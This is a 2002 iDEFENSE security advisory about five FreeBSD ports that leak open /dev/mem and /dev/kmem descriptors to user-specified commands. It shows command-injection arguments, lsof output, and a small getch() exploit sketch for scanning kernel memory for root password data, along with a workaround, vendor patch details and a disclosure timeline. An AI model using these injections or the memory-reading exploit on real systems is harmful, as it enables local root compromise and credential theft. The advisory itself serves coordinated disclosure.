[VulnWatch] iDEFENSE Security Advisory 09.16.2002: FreeBSD Ports libkvm Security Vulnerabilities
From: David Endler (dendler@idefense.com)Date: 09/16/02
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From: "David Endler" <dendler@idefense.com> To: vulnwatch@vulnwatch.org, submissions@packetstormsecurity.org, news@securiteam.com Date: Mon, 16 Sep 2002 12:10:39 -0700
iDEFENSE Security Advisory 09.16.2002
FreeBSD Ports libkvm Security Vulnerabilities
DESCRIPTION
The FreeBSD ports asmon, ascpu, bubblemon, wmmon, and wmnet2
can be locally manipulated to take advantage of open file
descriptors /dev/mem and /dev/kmem to gain root privileges on
a target host. These five programs are installed setgid kmem
by default. They will drop kmem privileges before executing
user specified commands but file descriptors to /dev/mem and
/dev/kmem will remain open. This can lead to a local root
compromise in various ways (e.g. if an attacker chooses to
scan for the master password file in the Linux kernel memory).
ANALYSIS
The latest versions of all five above mentioned FreeBSD ports
are vulnerable, the following examples illustrate the
problems:
bash-2.05a$ bubblemon "dummy&/usr/local/sbin/lsof|grep
dummy|grep mem"
dummy 688 dim 4r VCHR 2,0 0t0 21146 /dev/mem
dummy 688 dim 5r VCHR 2,1 0xc040f54c 21145 /dev/kmem
bash-2.05a$ ascpu -exe "dummy&/usr/local/sbin/lsof|grep dummy|grep
mem"
dummy 650 dim 4r VCHR 2,0 0t0 21146 /dev/mem
dummy 650 dim 5r VCHR 2,1 0xc040f54c 21145 /dev/kmem
bash-2.05a$ cat .wmmonrc
left "/home/dim/dummy"
bash-2.05a$ wmmon &
[1] 793
bash-2.05a$ Monitoring 5 devices for activity.
current stat is :1
bash-2.05a$ /usr/local/sbin/lsof |grep dummy|grep mem
dummy 797 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 797 dim 4r VCHR 2,1 0xc040f54c 21145 /dev/kmem
bash-2.05a$ wmnet2 -e "dummy&/usr/local/sbin/lsof|grep
dummy|grep mem"
wmnet: using kmem driver to monitor ec0
dummy 584 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 584 dim 4r VCHR 2,1 0xc037cb8f 21145 /dev/kmem
One possible exploit for these vulnerabilities is to replace
getch() in strings(1) with:
int getch()
{
char buf[4];
read(4,buf,1);
return buf[0];
}
or a similar less CPU expensive function that reads a
character from the /dev/mem file descriptor and execute the
following:
wmnet2 -e exploit|grep root|grep Charlie
DETECTION
The latest copies of asmon, ascpu, bubblemon, wmmon, and
wmnet2 from the FreeBSD ports collection are vulnerable and
were tested on 4.6-RELEASE of FreeBSD. According to FreeBSD,
all FreeBSD ports that use libkvm prior to and including
4.6.2-RELEASE may also be vulnerable.
WORKAROUND
Remove the setgid bit on the affected applications,
however reducing the functionality:
chmod g-s /path.to/wmnet2
VENDOR RESPONSE
The FreeBSD advisory to be released in coordination with this
advisory is FreeBSD-SA-02:39.libkvm. FreeBSD has provided
the following patch details:
"Upgrade your vulnerable system to 4.6-STABLE; or to the
RELENG_4_6, RELENG_4_5, or RELENG_4_4 security branch dated
after the correction date (4.6.2-RELEASE-p2, 4.5-RELEASE-p20,
or 4.4-RELEASE-p27)."
DISCLOSURE TIMELINE
August 12, 2002 - Disclosed to iDEFENSE
September 6, 2002 - Disclosed to FreeBSD Security
September 6, 2002 - Disclosed to iDEFENSE clients
September 16, 2002 - Coordinated public disclosure by FreeBSD
and iDEFENSE
CREDIT
This issue was exclusively disclosed to iDEFENSE by
badc0ded@badc0ded.com
http://www.idefense.com/contributor.html
David Endler, CISSP
Director, Technical Intelligence
iDEFENSE, Inc.
14151 Newbrook Drive
Suite 100
Chantilly, VA 20151
voice: 703-344-2632
fax: 703-961-1071
dendler@idefense.com
www.idefense.com
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